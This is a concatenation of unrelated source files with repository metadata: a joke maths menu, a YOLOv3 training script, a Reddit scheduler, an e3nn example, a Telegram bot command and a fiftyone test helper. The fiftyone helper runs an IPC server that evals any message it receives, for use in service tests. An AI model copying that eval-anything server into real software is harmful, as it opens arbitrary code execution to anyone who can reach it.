37f222b3ddc72455313eb619a79bc6045b89b506

[ "MIT" ]

null

Nivek maths/nivek-maths.py

ThiccTT/nivek-maths

37f222b3ddc72455313eb619a79bc6045b89b506

[ "MIT" ]

null

Nivek maths/nivek-maths.py

ThiccTT/nivek-maths

37f222b3ddc72455313eb619a79bc6045b89b506

[ "MIT" ]

null

import kanu while True: print('\n Select one:') print('\t1 -> Solve a linear equation') print('\t2 -> Simplify any expression') print('\t3 -> Is this number a Perfect Square?') print('\t4 -> Get Prime Numbers') print('\t5 -> START A NUCLEAR WAR :)') print('\t6 -> Factor Integers') choice = input() if choice == '1': print('Enter the equation:', end=' ') try: print(kanu.solve_single_linear_equation(input())) except kanu.NonLinearEquationError: print('You entered a non-linear equation.') elif choice == '2': print('Enter the expression:', end=' ') print(kanu.all_together_now(input())) elif choice == '3': import math def is_perfect_square(y): sqrt_value = math.sqrt(y) return int(sqrt_value) ** 2 == y number = int(input('Enter a number: ')) if is_perfect_square(number): print("It is a perfect square!") else: print("It is NOT a perfect square!") elif choice == '4': number = int(input("Input an integer:")) factors = [] while number % 2 == 0: factors.append(2) number //= 2 divisor = 3 while number != 1 and divisor <= number: if number % divisor == 0: factors.append(divisor) number //= divisor else: divisor += 2 print("The Prime Factors are: ") for i in range(len(factors)): print(factors[i], end=',') elif choice == '5': print('Executing "GETTING THE FOOTBALL" ') if choice == '5': from tqdm import tqdm x = 1 for i in tqdm(range(0, 1000000)): for x in range(0, 100): x *= 4 print("DONE") print("HERE ARE THE NUCLEAR LAUNCH CODES...") print(" 56 58 10 62 11 1 25 29 55 62") print(" 5 8 1 9 6 7 4 3 10 20") print(" 41 16 18 50 9 51 48 5 37 30") print(" 40 3 34 61 59 2 39 46 28 47") print(" 38 7 42 26 63 45 17 27 60 21") print("Launch Nukes?") print("\t1 -> YES") print('\t2 -> NO') choice = input() if choice == '1': print('Please Wait...') from tqdm import tqdm x = 1 for i in tqdm(range(0, 100000)): for x in range(0, 95): x *= 4 print('BYE BYE WORLD') input('press ENTER to continue') elif choice == '2': print('Maybe Another Day.') input('press ENTER to continue') elif choice == '6': import math number = int(input("Enter a number: ")) factors = [] for i in range(1, int(math.sqrt(number)) + 1): if number % i == 0: factors.append(i) factor_pair = number // i if factor_pair != i: factors.append(factor_pair) factors.sort() print(factors)

27.849558

61

0.479504

import kanu while True: print('\n Select one:') print('\t1 -> Solve a linear equation') print('\t2 -> Simplify any expression') print('\t3 -> Is this number a Perfect Square?') print('\t4 -> Get Prime Numbers') print('\t5 -> START A NUCLEAR WAR :)') print('\t6 -> Factor Integers') choice = input() if choice == '1': print('Enter the equation:', end=' ') try: print(kanu.solve_single_linear_equation(input())) except kanu.NonLinearEquationError: print('You entered a non-linear equation.') elif choice == '2': print('Enter the expression:', end=' ') print(kanu.all_together_now(input())) elif choice == '3': import math def is_perfect_square(y): sqrt_value = math.sqrt(y) return int(sqrt_value) ** 2 == y number = int(input('Enter a number: ')) if is_perfect_square(number): print("It is a perfect square!") else: print("It is NOT a perfect square!") elif choice == '4': number = int(input("Input an integer:")) factors = [] while number % 2 == 0: factors.append(2) number //= 2 divisor = 3 while number != 1 and divisor <= number: if number % divisor == 0: factors.append(divisor) number //= divisor else: divisor += 2 print("The Prime Factors are: ") for i in range(len(factors)): print(factors[i], end=',') elif choice == '5': print('Executing "GETTING THE FOOTBALL" ') if choice == '5': from tqdm import tqdm x = 1 for i in tqdm(range(0, 1000000)): for x in range(0, 100): x *= 4 print("DONE") print("HERE ARE THE NUCLEAR LAUNCH CODES...") print(" 56 58 10 62 11 1 25 29 55 62") print(" 5 8 1 9 6 7 4 3 10 20") print(" 41 16 18 50 9 51 48 5 37 30") print(" 40 3 34 61 59 2 39 46 28 47") print(" 38 7 42 26 63 45 17 27 60 21") print("Launch Nukes?") print("\t1 -> YES") print('\t2 -> NO') choice = input() if choice == '1': print('Please Wait...') from tqdm import tqdm x = 1 for i in tqdm(range(0, 100000)): for x in range(0, 95): x *= 4 print('BYE BYE WORLD') input('press ENTER to continue') elif choice == '2': print('Maybe Another Day.') input('press ENTER to continue') elif choice == '6': import math number = int(input("Enter a number: ")) factors = [] for i in range(1, int(math.sqrt(number)) + 1): if number % i == 0: factors.append(i) factor_pair = number // i if factor_pair != i: factors.append(factor_pair) factors.sort() print(factors)

true

790c80f4c14bdf6903ead32c4acdbd76b70246ed

530

py

Python

tests/utils/interactive_python.py

Bukkster/fiftyone

c061216de5094131c8ce8718d8a6ac58056b003e

[ "Apache-2.0" ]

3

2022-01-18T06:13:33.000Z

2022-02-14T13:28:23.000Z

tests/utils/interactive_python.py

Bukkster/fiftyone

c061216de5094131c8ce8718d8a6ac58056b003e

[ "Apache-2.0" ]

null

tests/utils/interactive_python.py

Bukkster/fiftyone

c061216de5094131c8ce8718d8a6ac58056b003e

[ "Apache-2.0" ]

null

""" A script that simulates a Python shell and accepts arbitrary commands to execute. For use by service tests. | Copyright 2017-2022, Voxel51, Inc. | `voxel51.com <https://voxel51.com/>`_ | """ import os os.environ["FIFTYONE_DISABLE_SERVICES"] = "1" from fiftyone.service.ipc import IPCServer env = {} def handle_message(message): try: code = compile(message, "", "eval") except SyntaxError: code = compile(message, "", "exec") return eval(code, env) IPCServer(handle_message).serve_forever()

19.62963

72

0.688679

import os os.environ["FIFTYONE_DISABLE_SERVICES"] = "1" from fiftyone.service.ipc import IPCServer env = {} def handle_message(message): try: code = compile(message, "", "eval") except SyntaxError: code = compile(message, "", "exec") return eval(code, env) IPCServer(handle_message).serve_forever()

true

790c8212906e2e6267368f455cbefe1625b1c2d4

9,512

py

Python

train.py

finite-infinity/tensorflow-serving-yolov3

d9244b2b12c2c6370638f48109f7a8f2ffeaa4c4

[ "MIT" ]

428

2019-10-15T15:30:01.000Z

2022-03-30T02:14:44.000Z

train.py

finite-infinity/tensorflow-serving-yolov3

d9244b2b12c2c6370638f48109f7a8f2ffeaa4c4

[ "MIT" ]

115

2019-10-24T12:59:26.000Z

2022-03-12T00:02:34.000Z

train.py

finite-infinity/tensorflow-serving-yolov3

d9244b2b12c2c6370638f48109f7a8f2ffeaa4c4

[ "MIT" ]

131

2019-10-21T06:40:12.000Z

2022-03-18T21:26:18.000Z

#! /usr/bin/env python # coding=utf-8 import os import time import shutil import numpy as np import tensorflow as tf import core.utils as utils from tqdm import tqdm from core.dataset import Dataset from core.yolov3 import YOLOV3 from core.config import cfg class YoloTrain(object): def __init__(self): # 从config文件获取到一些变量 self.anchor_per_scale = cfg.YOLO.ANCHOR_PER_SCALE self.classes = utils.read_class_names(cfg.YOLO.CLASSES) self.num_classes = len(self.classes) self.learn_rate_init = cfg.TRAIN.LEARN_RATE_INIT self.learn_rate_end = cfg.TRAIN.LEARN_RATE_END self.first_stage_epochs = cfg.TRAIN.FISRT_STAGE_EPOCHS self.second_stage_epochs = cfg.TRAIN.SECOND_STAGE_EPOCHS self.warmup_periods = cfg.TRAIN.WARMUP_EPOCHS self.initial_weight = cfg.TRAIN.INITIAL_WEIGHT self.time = time.strftime('%Y-%m-%d-%H-%M-%S', time.localtime(time.time())) self.moving_ave_decay = cfg.YOLO.MOVING_AVE_DECAY self.max_bbox_per_scale = 150 self.train_logdir = "./data/log/train" # 日志保存地址 self.trainset = Dataset('train') self.testset = Dataset('test') self.steps_per_period = len(self.trainset) self.sess = tf.Session(config=tf.ConfigProto(allow_soft_placement=True)) with tf.name_scope('define_input'): # 定义输入层 self.input_data = tf.placeholder(dtype=tf.float32, name='input_data') self.label_sbbox = tf.placeholder(dtype=tf.float32, name='label_sbbox') self.label_mbbox = tf.placeholder(dtype=tf.float32, name='label_mbbox') self.label_lbbox = tf.placeholder(dtype=tf.float32, name='label_lbbox') self.true_sbboxes = tf.placeholder(dtype=tf.float32, name='sbboxes') self.true_mbboxes = tf.placeholder(dtype=tf.float32, name='mbboxes') self.true_lbboxes = tf.placeholder(dtype=tf.float32, name='lbboxes') self.trainable = tf.placeholder(dtype=tf.bool, name='training') with tf.name_scope("define_loss"): # 定义损失函数 self.model = YOLOV3(self.input_data, self.trainable) self.net_var = tf.global_variables() self.giou_loss, self.conf_loss, self.prob_loss = self.model.compute_loss( self.label_sbbox, self.label_mbbox, self.label_lbbox, self.true_sbboxes, self.true_mbboxes, self.true_lbboxes) self.loss = self.giou_loss + self.conf_loss + self.prob_loss with tf.name_scope('learn_rate'): # 定义学习率 self.global_step = tf.Variable(1.0, dtype=tf.float64, trainable=False, name='global_step') warmup_steps = tf.constant(self.warmup_periods * self.steps_per_period, dtype=tf.float64, name='warmup_steps') train_steps = tf.constant((self.first_stage_epochs + self.second_stage_epochs) * self.steps_per_period, dtype=tf.float64, name='train_steps') self.learn_rate = tf.cond( pred=self.global_step < warmup_steps, true_fn=lambda: self.global_step / warmup_steps * self.learn_rate_init, false_fn=lambda: self.learn_rate_end + 0.5 * (self.learn_rate_init - self.learn_rate_end) * (1 + tf.cos( (self.global_step - warmup_steps) / (train_steps - warmup_steps) * np.pi)) ) global_step_update = tf.assign_add(self.global_step, 1.0) ''' warmup_steps作用：神经网络在刚开始训练的过程中容易出现loss=NaN的情况，为了尽量避免这个情况，因此初始的学习率设置得很低但是这又使得训练速度变慢了。因此，采用逐渐增大的学习率，从而达到既可以尽量避免出现nan，又可以等训练过程稳定了再增大训练速度的目的。 ''' with tf.name_scope("define_weight_decay"): # 指数平滑，可以让算法在最后不那么震荡，结果更有鲁棒性 moving_ave = tf.train.ExponentialMovingAverage(self.moving_ave_decay).apply(tf.trainable_variables()) # 指定需要恢复的参数。层等信息, 位置提前，减少模型体积。 with tf.name_scope('loader_and_saver'): variables_to_restore = [v for v in self.net_var if v.name.split('/')[0] not in ['conv_sbbox', 'conv_mbbox', 'conv_lbbox']] self.loader = tf.train.Saver(variables_to_restore) self.saver = tf.train.Saver(tf.global_variables(), max_to_keep=1) with tf.name_scope("define_first_stage_train"): # 第一阶段训练，只训练指定层 self.first_stage_trainable_var_list = [] for var in tf.trainable_variables(): var_name = var.op.name var_name_mess = str(var_name).split('/') if var_name_mess[0] in ['conv_sbbox', 'conv_mbbox', 'conv_lbbox']: self.first_stage_trainable_var_list.append(var) first_stage_optimizer = tf.train.AdamOptimizer(self.learn_rate).minimize(self.loss, var_list=self.first_stage_trainable_var_list) with tf.control_dependencies(tf.get_collection(tf.GraphKeys.UPDATE_OPS)): with tf.control_dependencies([first_stage_optimizer, global_step_update]): with tf.control_dependencies([moving_ave]): self.train_op_with_frozen_variables = tf.no_op() with tf.name_scope("define_second_stage_train"): # 第二阶段训练，释放所有层 second_stage_trainable_var_list = tf.trainable_variables() second_stage_optimizer = tf.train.AdamOptimizer(self.learn_rate).minimize(self.loss, var_list=second_stage_trainable_var_list) with tf.control_dependencies(tf.get_collection(tf.GraphKeys.UPDATE_OPS)): with tf.control_dependencies([second_stage_optimizer, global_step_update]): with tf.control_dependencies([moving_ave]): self.train_op_with_all_variables = tf.no_op() with tf.name_scope('summary'): tf.summary.scalar("learn_rate", self.learn_rate) tf.summary.scalar("giou_loss", self.giou_loss) tf.summary.scalar("conf_loss", self.conf_loss) tf.summary.scalar("prob_loss", self.prob_loss) tf.summary.scalar("total_loss", self.loss) logdir = "./data/log/" # 日志保存地址 if os.path.exists(logdir): shutil.rmtree(logdir) os.mkdir(logdir) self.write_op = tf.summary.merge_all() self.summary_writer = tf.summary.FileWriter(logdir, graph=self.sess.graph) def train(self): self.sess.run(tf.global_variables_initializer()) try: print('=> Restoring weights from: %s ... ' % self.initial_weight) self.loader.restore(self.sess, self.initial_weight) except: print('=> %s does not exist !!!' % self.initial_weight) print('=> Now it starts to train YOLOV3 from scratch ...') self.first_stage_epochs = 0 # 阶段学习率 for epoch in range(1, 1 + self.first_stage_epochs + self.second_stage_epochs): if epoch <= self.first_stage_epochs: train_op = self.train_op_with_frozen_variables else: train_op = self.train_op_with_all_variables # tqdm is a visualization tool that displays an Iterable object in a progree bar pbar = tqdm(self.trainset) train_epoch_loss, test_epoch_loss = [], [] for train_data in pbar: _, summary, train_step_loss, global_step_val = self.sess.run( [train_op, self.write_op, self.loss, self.global_step], feed_dict={ self.input_data: train_data[0], self.label_sbbox: train_data[1], self.label_mbbox: train_data[2], self.label_lbbox: train_data[3], self.true_sbboxes: train_data[4], self.true_mbboxes: train_data[5], self.true_lbboxes: train_data[6], self.trainable: True, }) train_epoch_loss.append(train_step_loss) self.summary_writer.add_summary(summary, global_step_val) pbar.set_description("train loss: %.2f" % train_step_loss) for test_data in self.testset: test_step_loss = self.sess.run(self.loss, feed_dict={ self.input_data: test_data[0], self.label_sbbox: test_data[1], self.label_mbbox: test_data[2], self.label_lbbox: test_data[3], self.true_sbboxes: test_data[4], self.true_mbboxes: test_data[5], self.true_lbboxes: test_data[6], self.trainable: False, }) test_epoch_loss.append(test_step_loss) train_epoch_loss, test_epoch_loss = np.mean(train_epoch_loss), np.mean(test_epoch_loss) ckpt_file = "./checkpoint/yolov3_train_loss=%.4f.ckpt" % train_epoch_loss log_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) print("=> Epoch: %2d Time: %s Train loss: %.2f Test loss: %.2f Saving %s ..." % (epoch, log_time, train_epoch_loss, test_epoch_loss, ckpt_file)) self.saver.save(self.sess, ckpt_file, global_step=epoch) if __name__ == '__main__': YoloTrain().train()

51.978142

130

0.610387

import os import time import shutil import numpy as np import tensorflow as tf import core.utils as utils from tqdm import tqdm from core.dataset import Dataset from core.yolov3 import YOLOV3 from core.config import cfg class YoloTrain(object): def __init__(self): self.anchor_per_scale = cfg.YOLO.ANCHOR_PER_SCALE self.classes = utils.read_class_names(cfg.YOLO.CLASSES) self.num_classes = len(self.classes) self.learn_rate_init = cfg.TRAIN.LEARN_RATE_INIT self.learn_rate_end = cfg.TRAIN.LEARN_RATE_END self.first_stage_epochs = cfg.TRAIN.FISRT_STAGE_EPOCHS self.second_stage_epochs = cfg.TRAIN.SECOND_STAGE_EPOCHS self.warmup_periods = cfg.TRAIN.WARMUP_EPOCHS self.initial_weight = cfg.TRAIN.INITIAL_WEIGHT self.time = time.strftime('%Y-%m-%d-%H-%M-%S', time.localtime(time.time())) self.moving_ave_decay = cfg.YOLO.MOVING_AVE_DECAY self.max_bbox_per_scale = 150 self.train_logdir = "./data/log/train" self.trainset = Dataset('train') self.testset = Dataset('test') self.steps_per_period = len(self.trainset) self.sess = tf.Session(config=tf.ConfigProto(allow_soft_placement=True)) with tf.name_scope('define_input'): self.input_data = tf.placeholder(dtype=tf.float32, name='input_data') self.label_sbbox = tf.placeholder(dtype=tf.float32, name='label_sbbox') self.label_mbbox = tf.placeholder(dtype=tf.float32, name='label_mbbox') self.label_lbbox = tf.placeholder(dtype=tf.float32, name='label_lbbox') self.true_sbboxes = tf.placeholder(dtype=tf.float32, name='sbboxes') self.true_mbboxes = tf.placeholder(dtype=tf.float32, name='mbboxes') self.true_lbboxes = tf.placeholder(dtype=tf.float32, name='lbboxes') self.trainable = tf.placeholder(dtype=tf.bool, name='training') with tf.name_scope("define_loss"): self.model = YOLOV3(self.input_data, self.trainable) self.net_var = tf.global_variables() self.giou_loss, self.conf_loss, self.prob_loss = self.model.compute_loss( self.label_sbbox, self.label_mbbox, self.label_lbbox, self.true_sbboxes, self.true_mbboxes, self.true_lbboxes) self.loss = self.giou_loss + self.conf_loss + self.prob_loss with tf.name_scope('learn_rate'): self.global_step = tf.Variable(1.0, dtype=tf.float64, trainable=False, name='global_step') warmup_steps = tf.constant(self.warmup_periods * self.steps_per_period, dtype=tf.float64, name='warmup_steps') train_steps = tf.constant((self.first_stage_epochs + self.second_stage_epochs) * self.steps_per_period, dtype=tf.float64, name='train_steps') self.learn_rate = tf.cond( pred=self.global_step < warmup_steps, true_fn=lambda: self.global_step / warmup_steps * self.learn_rate_init, false_fn=lambda: self.learn_rate_end + 0.5 * (self.learn_rate_init - self.learn_rate_end) * (1 + tf.cos( (self.global_step - warmup_steps) / (train_steps - warmup_steps) * np.pi)) ) global_step_update = tf.assign_add(self.global_step, 1.0) with tf.name_scope("define_weight_decay"): moving_ave = tf.train.ExponentialMovingAverage(self.moving_ave_decay).apply(tf.trainable_variables()) with tf.name_scope('loader_and_saver'): variables_to_restore = [v for v in self.net_var if v.name.split('/')[0] not in ['conv_sbbox', 'conv_mbbox', 'conv_lbbox']] self.loader = tf.train.Saver(variables_to_restore) self.saver = tf.train.Saver(tf.global_variables(), max_to_keep=1) with tf.name_scope("define_first_stage_train"): self.first_stage_trainable_var_list = [] for var in tf.trainable_variables(): var_name = var.op.name var_name_mess = str(var_name).split('/') if var_name_mess[0] in ['conv_sbbox', 'conv_mbbox', 'conv_lbbox']: self.first_stage_trainable_var_list.append(var) first_stage_optimizer = tf.train.AdamOptimizer(self.learn_rate).minimize(self.loss, var_list=self.first_stage_trainable_var_list) with tf.control_dependencies(tf.get_collection(tf.GraphKeys.UPDATE_OPS)): with tf.control_dependencies([first_stage_optimizer, global_step_update]): with tf.control_dependencies([moving_ave]): self.train_op_with_frozen_variables = tf.no_op() with tf.name_scope("define_second_stage_train"): second_stage_trainable_var_list = tf.trainable_variables() second_stage_optimizer = tf.train.AdamOptimizer(self.learn_rate).minimize(self.loss, var_list=second_stage_trainable_var_list) with tf.control_dependencies(tf.get_collection(tf.GraphKeys.UPDATE_OPS)): with tf.control_dependencies([second_stage_optimizer, global_step_update]): with tf.control_dependencies([moving_ave]): self.train_op_with_all_variables = tf.no_op() with tf.name_scope('summary'): tf.summary.scalar("learn_rate", self.learn_rate) tf.summary.scalar("giou_loss", self.giou_loss) tf.summary.scalar("conf_loss", self.conf_loss) tf.summary.scalar("prob_loss", self.prob_loss) tf.summary.scalar("total_loss", self.loss) logdir = "./data/log/" if os.path.exists(logdir): shutil.rmtree(logdir) os.mkdir(logdir) self.write_op = tf.summary.merge_all() self.summary_writer = tf.summary.FileWriter(logdir, graph=self.sess.graph) def train(self): self.sess.run(tf.global_variables_initializer()) try: print('=> Restoring weights from: %s ... ' % self.initial_weight) self.loader.restore(self.sess, self.initial_weight) except: print('=> %s does not exist !!!' % self.initial_weight) print('=> Now it starts to train YOLOV3 from scratch ...') self.first_stage_epochs = 0 for epoch in range(1, 1 + self.first_stage_epochs + self.second_stage_epochs): if epoch <= self.first_stage_epochs: train_op = self.train_op_with_frozen_variables else: train_op = self.train_op_with_all_variables pbar = tqdm(self.trainset) train_epoch_loss, test_epoch_loss = [], [] for train_data in pbar: _, summary, train_step_loss, global_step_val = self.sess.run( [train_op, self.write_op, self.loss, self.global_step], feed_dict={ self.input_data: train_data[0], self.label_sbbox: train_data[1], self.label_mbbox: train_data[2], self.label_lbbox: train_data[3], self.true_sbboxes: train_data[4], self.true_mbboxes: train_data[5], self.true_lbboxes: train_data[6], self.trainable: True, }) train_epoch_loss.append(train_step_loss) self.summary_writer.add_summary(summary, global_step_val) pbar.set_description("train loss: %.2f" % train_step_loss) for test_data in self.testset: test_step_loss = self.sess.run(self.loss, feed_dict={ self.input_data: test_data[0], self.label_sbbox: test_data[1], self.label_mbbox: test_data[2], self.label_lbbox: test_data[3], self.true_sbboxes: test_data[4], self.true_mbboxes: test_data[5], self.true_lbboxes: test_data[6], self.trainable: False, }) test_epoch_loss.append(test_step_loss) train_epoch_loss, test_epoch_loss = np.mean(train_epoch_loss), np.mean(test_epoch_loss) ckpt_file = "./checkpoint/yolov3_train_loss=%.4f.ckpt" % train_epoch_loss log_time = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(time.time())) print("=> Epoch: %2d Time: %s Train loss: %.2f Test loss: %.2f Saving %s ..." % (epoch, log_time, train_epoch_loss, test_epoch_loss, ckpt_file)) self.saver.save(self.sess, ckpt_file, global_step=epoch) if __name__ == '__main__': YoloTrain().train()

true

790c82c158782609b311d42e9802acdd50fad13c

586

py

Python

projectBase/background/collectSubRedditsforCovid.py

hseyindemir/swe_773_hdemir

f8ab5086284e0b6dc1923cb1c1b73e4514613df4

[ "PostgreSQL", "Unlicense", "MIT" ]

null

projectBase/background/collectSubRedditsforCovid.py

hseyindemir/swe_773_hdemir

f8ab5086284e0b6dc1923cb1c1b73e4514613df4

[ "PostgreSQL", "Unlicense", "MIT" ]

9

2020-11-02T17:30:48.000Z

2021-01-20T06:48:17.000Z

projectBase/background/collectSubRedditsforCovid.py

hseyindemir/swe_773_hdemir

f8ab5086284e0b6dc1923cb1c1b73e4514613df4

[ "PostgreSQL", "Unlicense", "MIT" ]

null

import praw import database_infrastructure.dbHandler as dbController from apscheduler.schedulers.background import BackgroundScheduler import redditController.collectSubredditsForAsync as redditController def collectSubredditsForCovid(): redditController.collectSubredditsForCovid('covid') redditController.collectSubredditsForCovid('covid19') def collectAsync(): print("registering async background job") scheduler = BackgroundScheduler() scheduler.add_job(func=collectSubredditsForCovid, trigger="interval", days=1) scheduler.start()

32.555556

69

0.793515

import praw import database_infrastructure.dbHandler as dbController from apscheduler.schedulers.background import BackgroundScheduler import redditController.collectSubredditsForAsync as redditController def collectSubredditsForCovid(): redditController.collectSubredditsForCovid('covid') redditController.collectSubredditsForCovid('covid19') def collectAsync(): print("registering async background job") scheduler = BackgroundScheduler() scheduler.add_job(func=collectSubredditsForCovid, trigger="interval", days=1) scheduler.start()

true

790c8392467ad202258620063e9fd445dd446396

1,311

py

Python

tests/readme_example_test.py

mister-bailey/e3nn

43d4b12f5ba5947583feb35f4e0662b73aae5618

[ "MIT" ]

null

tests/readme_example_test.py

mister-bailey/e3nn

43d4b12f5ba5947583feb35f4e0662b73aae5618

[ "MIT" ]

null

tests/readme_example_test.py

mister-bailey/e3nn

43d4b12f5ba5947583feb35f4e0662b73aae5618

[ "MIT" ]

null

# pylint: disable=missing-docstring, line-too-long, invalid-name, arguments-differ, no-member, pointless-statement from functools import partial import torch from e3nn import Kernel, rs from e3nn.non_linearities.norm import Norm from e3nn.non_linearities.rescaled_act import swish from e3nn.point.operations import Convolution from e3nn.radial import GaussianRadialModel # Define the input and output representations Rs_in = [(1, 0), (2, 1)] # Input = One scalar plus two vectors Rs_out = [(1, 1)] # Output = One single vector # Radial model: R+ -> R^d RadialModel = partial(GaussianRadialModel, max_radius=3.0, number_of_basis=3, h=100, L=1, act=swish) # kernel: composed on a radial part that contains the learned parameters # and an angular part given by the spherical hamonics and the Clebsch-Gordan coefficients K = partial(Kernel, RadialModel=RadialModel) # Create the convolution module conv = Convolution(K(Rs_in, Rs_out)) # Module to compute the norm of each irreducible component norm = Norm(Rs_out) n = 5 # number of input points features = rs.randn(1, n, Rs_in, requires_grad=True) in_geometry = torch.randn(1, n, 3) out_geometry = torch.zeros(1, 1, 3) # One point at the origin out = norm(conv(features, in_geometry, out_geometry)) out.backward() print(out) print(features.grad)

31.214286

114

0.762777

from functools import partial import torch from e3nn import Kernel, rs from e3nn.non_linearities.norm import Norm from e3nn.non_linearities.rescaled_act import swish from e3nn.point.operations import Convolution from e3nn.radial import GaussianRadialModel Rs_in = [(1, 0), (2, 1)] Rs_out = [(1, 1)] RadialModel = partial(GaussianRadialModel, max_radius=3.0, number_of_basis=3, h=100, L=1, act=swish) K = partial(Kernel, RadialModel=RadialModel) conv = Convolution(K(Rs_in, Rs_out)) norm = Norm(Rs_out) n = 5 features = rs.randn(1, n, Rs_in, requires_grad=True) in_geometry = torch.randn(1, n, 3) out_geometry = torch.zeros(1, 1, 3) out = norm(conv(features, in_geometry, out_geometry)) out.backward() print(out) print(features.grad)

true

790c83bde7978a528a445d3b39187b4932030a65

2,400

py

Python

LuciferMoringstar_Robot/admins/chat.py

PR0FESS0R-99/LuciferMoringstar-Robot

d4864b7be54f066e8241e7067eb086f835d3ec9d

[ "MIT" ]

20

2022-02-05T17:35:24.000Z

2022-03-31T12:23:29.000Z

LuciferMoringstar_Robot/admins/chat.py

PR0FESS0R-99/LuciferMoringstar-Robot

d4864b7be54f066e8241e7067eb086f835d3ec9d

[ "MIT" ]

8

2022-02-07T17:29:39.000Z

2022-03-18T17:30:31.000Z

LuciferMoringstar_Robot/admins/chat.py

PR0FESS0R-99/LuciferMoringstar-Robot

d4864b7be54f066e8241e7067eb086f835d3ec9d

[ "MIT" ]

137

2022-02-05T14:50:15.000Z

2022-03-31T12:23:42.000Z

# MIT License # Copyright (c) 2022 Muhammed # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # copies of the Software, and to permit persons to whom the Software is # furnished to do so, subject to the following conditions: # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. # Telegram Link : https://telegram.dog/Mo_Tech_Group # Repo Link : https://github.com/PR0FESS0R-99/LuciferMoringstar-Robot # License Link : https://github.com/PR0FESS0R-99/LuciferMoringstar-Robot/blob/LuciferMoringstar-Robot/LICENSE from pyrogram import Client as lucifermoringstar_robot , filters, enums from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup from LuciferMoringstar_Robot import ADMINS, CREATOR_USERNAME @lucifermoringstar_robot.on_message((filters.group | filters.private) & filters.command('leave') & filters.user(ADMINS)) async def leave_bot(bot, update): if len(update.command) == 1: return await update.reply_text("𝙶𝙸𝚅𝙴 𝙼𝙴 𝙰 𝙶𝚁𝙾𝚄𝙿 𝙸𝙳") chat = update.command[1] try: chat = int(chat) except: chat = chat try: pr0fess0r_99 = [[ InlineKeyboardButton('𝙶𝙴𝚃 𝚂𝚄𝙿𝙿𝙾𝚁𝚃', url=f'https://t.me/{CREATOR_USERNAME}') ]] pr0fess0r_99 = InlineKeyboardMarkup(pr0fess0r_99) await bot.send_message(chat_id=chat, text="𝙷𝙴𝙻𝙻𝙾 𝙵𝚁𝙸𝙴𝙽𝙳𝚂,\n𝙼𝚈 𝙼𝙰𝚂𝚃𝙴𝚁 𝙷𝙰𝚂 𝚃𝙾𝙻𝙳 𝙼𝙴 𝚃𝙾 𝙻𝙴𝙰𝚅𝙴 𝙵𝚁𝙾𝙼 𝙶𝚁𝙾𝚄𝙿. 𝚂𝙾 𝙸 𝙶𝙾 😛. 𝙸𝙵 𝚈𝙾𝚄 𝚆𝙰𝙽𝙽𝙰 𝙰𝙳𝙳 𝙼𝙴 𝙰𝙶𝙰𝙸𝙽 𝙲𝙾𝙽𝚃𝙰𝙲𝚃 𝙼𝙴", reply_markup=pr0fess0r_99) await bot.leave_chat(chat) await update.reply(f"𝙻𝙴𝙵𝚃 𝚃𝙷𝙴 𝙲𝙷𝙰𝚃 `{chat}`") except Exception as e: await update.reply(f'𝙴𝚁𝚁𝙾𝚁 - {e}')

50

186

0.750833

from pyrogram import Client as lucifermoringstar_robot , filters, enums from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup from LuciferMoringstar_Robot import ADMINS, CREATOR_USERNAME @lucifermoringstar_robot.on_message((filters.group | filters.private) & filters.command('leave') & filters.user(ADMINS)) async def leave_bot(bot, update): if len(update.command) == 1: return await update.reply_text("𝙶𝙸𝚅𝙴 𝙼𝙴 𝙰 𝙶𝚁𝙾𝚄𝙿 𝙸𝙳") chat = update.command[1] try: chat = int(chat) except: chat = chat try: pr0fess0r_99 = [[ InlineKeyboardButton('𝙶𝙴𝚃 𝚂𝚄𝙿𝙿𝙾𝚁𝚃', url=f'https://t.me/{CREATOR_USERNAME}') ]] pr0fess0r_99 = InlineKeyboardMarkup(pr0fess0r_99) await bot.send_message(chat_id=chat, text="𝙷𝙴𝙻𝙻𝙾 𝙵𝚁𝙸𝙴𝙽𝙳𝚂,\n𝙼𝚈 𝙼𝙰𝚂𝚃𝙴𝚁 𝙷𝙰𝚂 𝚃𝙾𝙻𝙳 𝙼𝙴 𝚃𝙾 𝙻𝙴𝙰𝚅𝙴 𝙵𝚁𝙾𝙼 𝙶𝚁𝙾𝚄𝙿. 𝚂𝙾 𝙸 𝙶𝙾 😛. 𝙸𝙵 𝚈𝙾𝚄 𝚆𝙰𝙽𝙽𝙰 𝙰𝙳𝙳 𝙼𝙴 𝙰𝙶𝙰𝙸𝙽 𝙲𝙾𝙽𝚃𝙰𝙲𝚃 𝙼𝙴", reply_markup=pr0fess0r_99) await bot.leave_chat(chat) await update.reply(f"𝙻𝙴𝙵𝚃 𝚃𝙷𝙴 𝙲𝙷𝙰𝚃 `{chat}`") except Exception as e: await update.reply(f'𝙴𝚁𝚁𝙾𝚁 - {e}')

true

790c844cb49cb3321bf8dff698dec4c13b34d721

1,945

py

Python

spirl/configs/few_shot_imitation_learning/kitchen/hierarchical_cl_gc_top_bot_excluded_demo_topknob_bot_hinge_slide_oneshot/conf.py

kouroshHakha/fist

328c098789239fd892e17edefd799fc1957ab637

[ "BSD-3-Clause" ]

8

2021-10-14T03:14:23.000Z

2022-03-15T21:31:17.000Z

spirl/configs/few_shot_imitation_learning/kitchen/hierarchical_cl_gc_top_bot_excluded_demo_topknob_bot_hinge_slide_oneshot/conf.py

kouroshHakha/fist

328c098789239fd892e17edefd799fc1957ab637

[ "BSD-3-Clause" ]

null

spirl/configs/few_shot_imitation_learning/kitchen/hierarchical_cl_gc_top_bot_excluded_demo_topknob_bot_hinge_slide_oneshot/conf.py

